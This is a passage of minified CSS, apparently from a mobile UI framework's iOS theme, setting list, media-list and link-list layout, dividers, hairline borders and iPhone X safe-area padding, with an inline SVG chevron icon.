.item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.media-list.theme-dark .item-link .item-inner,.theme-dark .media-list .item-link .item-inner,.theme-dark li.media-item .item-link .item-inner{background-image:none}.ios .list{margin:35px 0;font-size:17px}.ios .list .item-cell{width:100%;min-width:0;margin-right:15px}.ios .list .item-cell:first-child{margin-right:0}.ios .list ul{background:#fff}.ios .list ul ul{padding-right:45px}.ios .list .item-media{padding-top:7px}.ios .list .item-media i+i,.ios .list .item-media i+img{margin-right:5px}.ios .list .item-media+.item-inner{margin-right:15px}.ios .list .item-inner{min-height:44px;padding-left:15px}.ios .list .item-after{color:#8e8e93;padding-right:5px}.ios .list .item-link,.ios .list .list-button{color:inherit}.ios .list .item-link .item-inner,.ios .list .list-button .item-inner{padding-left:35px}.ios .list .item-link.active-state,.ios .list .list-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .list .item-link.active-state .item-inner:after,.ios .list .list-button.active-state .item-inner:after{background-color:transparent}.ios .list .list-button{padding:0 15px;text-align:center;color:#007aff;line-height:44px}.ios .list .item-content{min-height:44px;padding-right:15px}.ios .list .item-subtitle{font-size:15px}.ios .list .item-text{font-size:15px;color:#8e8e93;line-height:21px;max-height:42px}.ios .list .item-footer,.ios .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.ios .list .item-footer{color:#8e8e93}.ios .list .item-link.no-chevron .item-inner,.ios .list .no-chevron .item-link .item-inner,.ios .list.no-chevron .item-link .item-inner,.ios .no-chevron .list .item-link .item-inner{padding-left:15px}.ios .simple-list li:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .simple-list li{padding-left:15px;padding-right:15px;line-height:44px;height:44px}.ios .simple-list li:after{left:15px;right:0;width:auto;right:15px;left:0}.ios .links-list a:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .links-list a{height:44px;color:inherit}.ios .links-list a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .links-list a:after{width:auto}.ios .links-list a{padding-right:15px;padding-left:35px}.ios .links-list a:after{right:15px;left:0}.ios .links-list .no-chevron a,.ios .links-list a.no-chevron,.ios .links-list.no-chevron a,.ios .no-chevron .links-list a{padding-left:15px}.ios .media-list .item-title,.ios li.media-item .item-title{font-weight:600}.ios .media-list .item-inner,.ios li.media-item .item-inner{padding-top:10px;padding-bottom:9px}.ios .media-list .item-media,.ios li.media-item .item-media{padding-top:9px;padding-bottom:10px}.ios .media-list .item-link .item-inner,.ios li.media-item .item-link .item-inner{padding-left:15px}.ios .media-list .item-link .item-title-row,.ios li.media-item .item-link .item-title-row{padding-left:20px}.ios .media-list .chevron-center .item-link .item-inner,.ios .media-list .item-link.chevron-center .item-inner,.ios .media-list.chevron-center .item-link .item-inner,.ios li.media-item .chevron-center .item-link .item-inner,.ios li.media-item .item-link.chevron-center .item-inner,.ios li.media-item.chevron-center .item-link .item-inner{padding-left:35px}.ios .media-list .chevron-center .item-title-row,.ios .media-list .no-chevron .item-link .item-title-row,.ios .media-list.chevron-center .item-title-row,.ios .media-list.no-chevron .item-link .item-title-row,.ios .no-chevron .media-list .item-link .item-title-row,.ios .no-chevron li.media-item .item-link .item-title-row,.ios li.media-item .chevron-center .item-title-row,.ios li.media-item.chevron-center .item-title-row,.ios li.media-item.no-chevron .item-link .item-title-row{padding-left:0!important}.ios .links-list a,.ios .list .item-link .item-inner{background-position:15px center}.ios .item-divider,.ios .list-group-title{margin-top:-1px;padding:4px 15px;background:#f7f7f7;color:#8e8e93}.ios .item-divider:after,.ios .list-group-title:after{display:none!important}.ios .list-group-title{margin-top:0}.ios .item-divider:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .item-divider:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .item-divider:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list-group-title:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list-group-title:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list-group-title:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .list-button:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .list-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .list-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list.inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.inset ul{border-radius:7px}.ios .list.inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.inset li:first-child:last-child>a{border-radius:7px}@media (min-width:768px){.ios .list.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.tablet-inset ul{border-radius:7px}.ios .list.tablet-inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.tablet-inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.tablet-inset li:first-child:last-child>a{border-radius:7px}}.ios li li:last-child .item-inner:after,.ios li:last-child li .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{background-position:calc(15px + constant(safe-area-inset-left)) center;background-position:calc(15px + env(safe-area-inset-left)) center}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-inner{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link .item-inner{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link .item-inner{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .chevron-center .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .item-link.chevron-center .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.chevron-center .item-link .item-inner{padding-left:calc(35px + constant(safe-area-inset-left));padding-left:calc(35px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-link.no-chevron .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .no-chevron .item-link .item-inner,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list .no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a.no-chevron,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list.no-chevron a,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron .item-link .item-inner{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list.no-chevron .item-link .item-title-row,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).no-chevron li.media-item .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) li.media-item.no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).media-list .no-chevron .item-link .item-title-row,.ios.device-iphone-x .sheet-modal 